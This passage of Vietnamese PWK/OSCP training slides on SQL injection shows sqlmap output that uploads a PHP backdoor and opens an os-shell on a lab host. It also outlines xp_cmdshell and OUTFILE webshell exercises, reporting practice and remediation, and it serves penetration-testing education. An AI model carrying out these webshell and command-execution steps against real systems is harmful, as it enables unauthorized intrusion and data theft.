[14:20:50] [WARNING] unable to upload the file stager on '/var/www/html/tmp/'
[14:20:50] [INFO] trying to upload the file stager on '/var/www/html/tmp/' via UNION method
[14:20:50] [WARNING] expect junk characters inside the file as a leftover from UNION query
[14:20:50] [INFO] the remote file '/var/www/html/tmp/tmpuqgek.php' is larger (713 B) than the local file '/tmp/sqlmapxkydllxb82218/tmp3d64iosz' (709B)
[14:20:51] [INFO] the file stager has been successfully uploaded on '/var/www/html/tmp/' - http://192.168.50.19:80/tmp/tmpuqgek.php
[14:20:51] [INFO] the backdoor has been successfully uploaded on '/var/www/html/tmp/' - http://192.168.50.19:80/tmp/tmpbetmz.php
[14:20:51] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER

os-shell> 
id

do you want to retrieve the command standard output? [Y/n/a] 
y

command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'

os-shell> 
pwd

do you want to retrieve the command standard output? [Y/n/a] 
y

command standard output: '/var/www/html/tmp'
Cách đọcTool parse request, xác nhận MySQL/UNION injection, hỏi web language PHP, upload webshell và trả shell.
10.3.2 Automating the AttackTài Liệu Học Tập PWK

Các prompt quan trọng của sqlmap

  • Xác nhận redirect và cookie/session.
  • Chọn ngôn ngữ web application, trong ví dụ là PHP.
  • Xác định directory writable và web root.
  • Theo dõi injection point mà tool resume từ session cũ.
  • Kiểm tra command output trong os-shell.
Session cachesqlmap có thể resume kết quả cũ; dùng dữ liệu này có ý thức để tránh nhầm target hoặc trạng thái.
10.3.2 Automating the AttackTài Liệu Học Tập PWK

Manual và automated: dùng khi nào?

Tình huốngThủ côngsqlmap
Nhận diện ban đầuƯu tiên.Không nên là bước đầu.
Hiểu query/contextRất tốt.Output có thể che mất cơ chế.
Blind enumeration dàiTốn thời gian.Phù hợp hơn.
Low stealthCó thể kiểm soát request.Không phù hợp.
Lặp lại/dumpKhó và dễ sai.Tự động hóa tốt.
Báo cáo root causeCần thiết.Chỉ hỗ trợ bằng chứng.
10.3.2 Automating the AttackTài Liệu Học Tập PWK

Bài thực hành và capstone

VM1

MSSQL

Bật xp_cmdshell và xác định option phụ thuộc.

VM2

MySQL manual

Dùng UNION/OUTFILE để tạo webshell trong lab.

VM3

sqlmap

Nhận diện time-based blind và dump table users.

CAP

4 Capstone VMs

Enumeration và exploit SQLi để tìm flag trong phạm vi lab.

Không có lời giảiBộ slide giữ mục tiêu nhưng không cung cấp flag, credential mới hoặc đáp án lab.
10.4 Wrapping UpTài Liệu Học Tập PWK

Wrapping Up

Learning Unit 10.4

Wrapping Up

Tổng hợp quy trình nhận diện, enumeration, khai thác và tự động hóa SQL injection theo phương pháp có hệ thống.

10.4 Wrapping UpTài Liệu Học Tập PWK

Chuỗi kỹ thuật hoàn chỉnh

01UnderstandHiểu query, input và DBMS.
02DetectQuote/error hoặc response khác biệt.
03ClassifyError, UNION, boolean hay time-based.
04EnumerateVersion, user, database, table và column.
05DemonstrateBypass, data read hoặc code execution tối thiểu.
06DocumentRequest, payload, output, impact và remediation.
Quay lại enumerationKhi payload không ổn định, đừng tăng độ phức tạp; quay lại query context và baseline.
10.4 Wrapping UpTài Liệu Học Tập PWK

Thông tin cần ghi vào notes

Endpoint, method, parameter và authentication state.
Baseline request/response và thời gian.
DBMS, version, user và database hiện tại.
Payload chính xác, gồm quote/comment/encoding.
Số cột, kiểu dữ liệu và cột được render.
Table/column được enumeration.
Execution identity hoặc quyền filesystem.
File/request do tool tạo và vị trí lưu.
10.4 Wrapping UpTài Liệu Học Tập PWK

Bằng chứng cho báo cáo

Loại bằng chứngNên chứaKhông nên chứa
SQLi detectionBaseline và quote/error response.Hàng loạt payload không liên quan.
Authentication bypassPayload và trạng thái đăng nhập thành công.Credential thật không cần thiết.
Data accessMột vài record hoặc metadata đủ chứng minh.Dump toàn bộ dữ liệu khách hàng.
Blind SQLiTRUE/FALSE hoặc latency lặp lại ổn định.Một lần delay đơn lẻ.
RCECommand an toàn và execution identity.Thao tác phá hoại/persistence ngoài scope.
AutomationCommand, request file và output chính.Log quá dài không chú thích.
Tính tái hiệnNgười đọc phải hiểu được điều kiện, input và kết quả mà không cần đoán.
10.4 Wrapping UpTài Liệu Học Tập PWK

Sai lầm thường làm mất thời gian

01

Dùng sqlmap quá sớm

Tạo nhiều traffic nhưng chưa hiểu parameter và session.

02

Đoán số cột

Không dùng ORDER BY hoặc NULL để xác minh.

03

Bỏ qua type

UNION đúng count nhưng sai kiểu dữ liệu.

04

Comment sai

Thiếu whitespace hoặc dùng cú pháp sai DBMS.

05

Nhầm database root

Đánh đồng DB user với OS root.

06

Nhầm error

Cho rằng file write thất bại chỉ vì frontend báo lỗi.

Khắc phụcThay đổi một biến mỗi lần và ghi lại response có cấu trúc.
10.4 Wrapping UpTài Liệu Học Tập PWK

Checklist trước khi kết thúc

Đã xác minh finding bằng phương pháp thủ công.
Đã xác định DBMS và query context.
Đã thu thập bằng chứng tối thiểu.
Không lấy dữ liệu vượt mục tiêu.
Đã ghi đầy đủ payload và whitespace.
Đã ghi quyền/identity khi có RCE.
Đã dọn webshell/file theo ROE.
Đã đề xuất parameterized queries và least privilege.
Điểm cần nhớSQLi là lỗi kiểm soát dữ liệu ở ranh giới ứng dụng–database; remediation phải xử lý root cause.
Kết thúcTài Liệu Học Tập PWK

Tài nguyên học tập PWK / OSCP

Sách, video và tài liệu tiếng Việt hỗ trợ học PWK / OSCP

Tiếp tục học theo lộ trình, xem lại các chương và thực hành trong môi trường lab được ủy quyền.

security365.vn/pwk-oscp/

Tài Liệu Học Tập PWK · Chương 10 — SQL Injection Attacks